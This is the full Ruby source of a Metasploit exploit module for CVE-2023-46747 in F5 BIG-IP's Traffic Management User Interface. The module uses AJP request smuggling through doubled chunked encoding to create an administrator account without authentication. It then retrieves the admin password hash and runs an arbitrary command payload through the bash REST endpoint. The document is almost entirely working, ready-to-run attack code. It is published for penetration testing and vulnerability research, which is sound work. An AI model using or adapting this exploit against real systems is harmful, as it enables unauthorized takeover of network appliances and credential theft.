Authored by Spencer McIntyre, Sandeep Singh, Thomas Hendrickson, Michael Weber | Site metasploit.com

This Metasploit module exploits a flaw in F5’s BIG-IP Traffic Management User Interface (TMU) that enables an external, unauthenticated attacker to create an administrative user. Once the user is created, the module uses the new account to execute a command payload. Both the exploit and check methods automatically delete any temporary accounts that are created.

advisories | CVE-2023-46747

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/proto/apache_j_p'

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Retry

ApacheJP = Rex::Proto::ApacheJP

def initialize(info = {})
super(
update_info(
info,
'Name' => 'F5 BIG-IP TMUI AJP Smuggling RCE',
'Description' => %q{
This module exploits a flaw in F5's BIG-IP Traffic Management User Interface (TMUI) that enables an external,
unauthenticated attacker to create an administrative user. Once the user is created, the module uses the new
account to execute a command payload. Both the exploit and check methods automatically delete any temporary
accounts that are created.
},
'Author' => [
'Michael Weber', # vulnerability analysis
'Thomas Hendrickson', # vulnerability analysis
'Sandeep Singh', # nuclei template
'Spencer McIntyre' # metasploit module
],
'References' => [
['CVE', '2023-46747'],
['URL', 'https://www.praetorian.com/blog/refresh-compromising-f5-big-ip-with-request-smuggling-cve-2023-46747/'],
['URL', 'https://www.praetorian.com/blog/advisory-f5-big-ip-rce/'],
['URL', 'https://my.f5.com/manage/s/article/K000137353'],
['URL', 'https://github.com/projectdiscovery/nuclei-templates/pull/8496'],
['URL', 'https://attackerkb.com/topics/t52A9pctHn/cve-2023-46747/rapid7-analysis']
],
'DisclosureDate' => '2023-10-26', # Vendor advisory
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD],
'Privileged' => true,
'Targets' => [
[
'Command',
{
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD
}
],
],
'DefaultOptions' => {
'SSL' => true,
'RPORT' => 443,
'FETCH_WRITABLE_DIR' => '/tmp'
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [
IOC_IN_LOGS, # user creation events are logged
CONFIG_CHANGES # a temporary user is created then deleted
]
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end

def check
res = create_user(role: 'Guest')
return CheckCode::Unknown('No response received from target.') unless res
return CheckCode::Safe('Failed to create the user.') unless res.code == 200

changed = update_user_password
return CheckCode::Safe('Failed to set the new user's password.') unless changed

res = bigip_api_tm_get_user(username)
return CheckCode::Safe('Failed to validate the new user account.') unless res.get_json_document['kind'] == 'tm:auth:user:userstate'

CheckCode::Vulnerable('Successfully tested unauthenticated user creation.')
end

def exploit
res = create_user(role: 'Administrator')
fail_with(Failure::UnexpectedReply, 'Failed to create the user.') unless res&.code == 200

changed = update_user_password
fail_with(Failure::UnexpectedReply, 'Failed to set the new user's password.') unless changed

print_good("Admin user was created successfully. Credentials: #{username} - #{password}")

res = bigip_api_tm_get_user('admin')
if res&.code == 200 && (hash = res.get_json_document['encryptedPassword']).present?
print_good("Retrieved the admin hash: #{hash}")
report_hash('admin', hash)
end

logged_in = retry_until_truthy(timeout: 30) do
res = bigip_api_shared_login
res&.code == 200
end
fail_with(Failure::UnexpectedReply, 'Failed to login.') unless logged_in

token = res.get_json_document.dig('token', 'token')
fail_with(Failure::UnexpectedReply, 'Failed to obtain a login token.') if token.blank?

print_status("Obtained login token: #{token}")

bash_cmd = "eval $(echo #{Rex::Text.encode_base64(payload.encoded)} | base64 -d)"
# this may or may not timeout
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'mgmt/tm/util/bash'),
'headers' => {
'Content-Type' => 'application/json',
'X-F5-Auth-Token' => token
},
'data' => { 'command' => 'run', 'utilCmdArgs' => "-c '#{bash_cmd}'" }.to_json
)
end

def report_hash(user, hash)
jtr_format = Metasploit::Framework::Hashes.identify_hash(hash)
service_data = {
address: rhost,
port: rport,
service_name: 'F5 BIG-IP TMUI',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
module_fullname: fullname,
origin_type: :service,
private_data: hash,
private_type: :nonreplayable_hash,
jtr_format: jtr_format,
username: user
}.merge(service_data)

credential_core = create_credential(credential_data)

login_data = {
core: credential_core,
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_data)

create_credential_login(login_data)
end

def cleanup
super

print_status('Deleting the created user...')
delete_user
end

def username
@username ||= rand_text_alpha(6..8)
end

def password
@password ||= rand_text_alphanumeric(16..20)
end

def create_user(role:)
# for roles and descriptions, see: https://techdocs.f5.com/kb/en-us/products/big-ip_ltm/manuals/product/bigip-user-account-administration-11-6-0/3.html
send_request_smuggled_ajp({
'handler' => '/tmui/system/user/create',
'form_page' => '/tmui/system/user/create.jsp',
'systemuser-hidden' => "[["#{role}","[All]"]]",
'systemuser-hidden_before' => '',
'name' => username,
'name_before' => '',
'passwd' => password,
'passwd_before' => '',
'finished' => 'x',
'finished_before' => ''
})
end

def delete_user
send_request_smuggled_ajp({
'handler' => '/tmui/system/user/list',
'form_page' => '/tmui/system/user/list.jsp',
'checkbox0' => username,
'checkbox0_before' => 'checked',
'delete_confirm' => 'Delete',
'delete_confirm_before' => 'Delete',
'row_count' => '1',
'row_count_before' => '1'
})
end

def update_user_password
new_password = Rex::Text.rand_text_alphanumeric(password.length)
changed = retry_until_truthy(timeout: 30) do
res = bigip_api_shared_set_password(username, password, new_password)
res&.code == 200
end
@password = new_password if changed
changed
end

def send_request_smuggled_ajp(query)
post_data = "204rn" # do not change

timenow = rand_text_numeric(1)
tmui_dubbuf = rand_text_alpha_upper(11)

query = query.merge({
'_bufvalue' => Base64.strict_encode64(OpenSSL::Digest::SHA1.new(tmui_dubbuf + timenow).digest),
'_bufvalue_before' => '',
'_timenow' => timenow,
'_timenow_before' => ''
})
query_string = URI.encode_www_form(query).ljust(370, '&')

# see: https://tomcat.apache.org/tomcat-3.3-doc/ApacheJP.html#prefix-codes
ajp_forward_request = ApacheJP::ApacheJPForwardRequest.new(
http_method: ApacheJP::ApacheJPForwardRequest::HTTP_METHOD_POST,
req_uri: '/tmui/Control/form',
remote_addr: '127.0.0.1',
remote_host: 'localhost',
server_name: 'localhost',
headers: [
{ header_name: 'Tmui-Dubbuf', header_value: tmui_dubbuf },
{ header_name: 'REMOTEROLE', header_value: '0' },
{ header_name: 'host', header_value: 'localhost' }
],
attributes: [
{ code: ApacheJP::ApacheJPRequestAttribute::CODE_REMOTE_USER, attribute_value: 'admin' },
{ code: ApacheJP::ApacheJPRequestAttribute::CODE_QUERY_STRING, attribute_value: query_string },
{ code: ApacheJP::ApacheJPRequestAttribute::CODE_TERMINATOR }
]
)
ajp_data = ajp_forward_request.to_binary_s[2...]
unless ajp_data.length == 0x204 # 516 bytes
# this is a developer error
raise "AJP data must be 0x204 bytes, is 0x#{ajp_data.length.to_s(16)} bytes."
end

post_data << ajp_data
post_data << "rn0"

send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'tmui/login.jsp'),
'headers' => { 'Transfer-Encoding' => 'chunked, chunked' },
'data' => post_data
)
end

def bigip_api_shared_set_password(user, old_password, new_password)
send_request_cgi(
'method' => 'PATCH',
'uri' => normalize_uri(target_uri.path, 'mgmt/shared/authz/users', user),
'headers' => {
'Authorization' => "Basic #{Rex::Text.encode_base64("#{username}:#{password}")}",
'Content-Type' => 'application/json'
},
'data' => { 'oldPassword' => old_password, 'password' => new_password }.to_json
)
end

def bigip_api_shared_login
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'mgmt/shared/authn/login'),
'headers' => { 'Content-Type' => 'application/json' },
'data' => { 'username' => username, 'password' => password }.to_json
)
end

def bigip_api_tm_get_user(user)
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'mgmt/tm/auth/user', user),
'headers' => {
'Authorization' => "Basic #{Rex::Text.encode_base64("#{username}:#{password}")}",
'Content-Type' => 'application/json'
}
)
end
end